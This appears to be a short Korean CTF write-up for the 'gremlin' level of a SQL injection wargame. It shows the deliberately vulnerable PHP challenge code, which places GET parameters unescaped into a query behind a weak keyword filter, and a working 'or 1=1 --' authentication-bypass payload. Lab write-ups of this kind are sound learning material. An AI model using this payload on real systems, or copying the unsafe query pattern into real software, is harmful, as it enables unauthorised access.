include "./config.php";
 login_chk();
 dbconnect();
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
 $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
 echo "
query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("gremlin"); highlight_file(__FILE__); ?>

질의 하면 위에 쿼리가 나온다. 나는 id를 true로 만들고 pw는 주석처럼 만들어버려서 뒤로 점프할 생각이었고 그냥 된다. 몸풀기..

select id from prob_gremlin where id='' or 1=1 -- ' and pw='1'
2017/06/19 16:43 2017/06/19 16:43